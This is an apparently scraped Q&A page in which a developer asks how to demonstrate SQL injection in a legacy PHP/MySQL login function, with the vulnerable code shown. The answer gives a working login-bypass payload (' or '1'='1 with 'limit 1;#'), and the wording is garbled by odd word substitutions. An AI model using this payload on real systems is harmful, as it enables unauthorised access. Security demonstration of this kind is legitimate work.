mysql - how to inject sql in login process -
mysql - how to inject sql in login process -
i've received old application lacks user input sanitization , vulnerable sql injection. prove gravity of situation need give client illustration , can improve scare him login process. i've tried standard techniques problem them homecoming multiple rows , due nature of code returns error instead of logging him in. sql should inject single row returned , execution reaches "return $access" line in order pass value of "access" column code calling login function. request made via post method , magic quotes off on server. please allow me know if need other information.
function login($username, $pw) { global $dbname, $connection, $sqluser, $sqlpw; $db = mysql_connect($connection,$sqluser,$sqlpw); mysql_select_db($dbname); if(!($dba = mysql_query("select * users username = '$username' , password = '$pw'"))){ printf("%s", sprintf("internal error5 %d:%s\n", mysql_errno(), mysql_error())); exit(); } $row = mysql_fetch_array($dba); $access = $row['access']; if ($access != ''){ homecoming $access; } else { homecoming "error occured"; } mysql_close ($db); } note: turns out magic_quotes_gpc turned on , php version 5.2.17
thanks
starting goal query:
select * users username = '' or '1'='1' , password = '' or 1=1 limit 1;#' we username ' or '1'='1 , password ' or 1=1 limit 1;#
mysql sql-injection
Comments
Post a Comment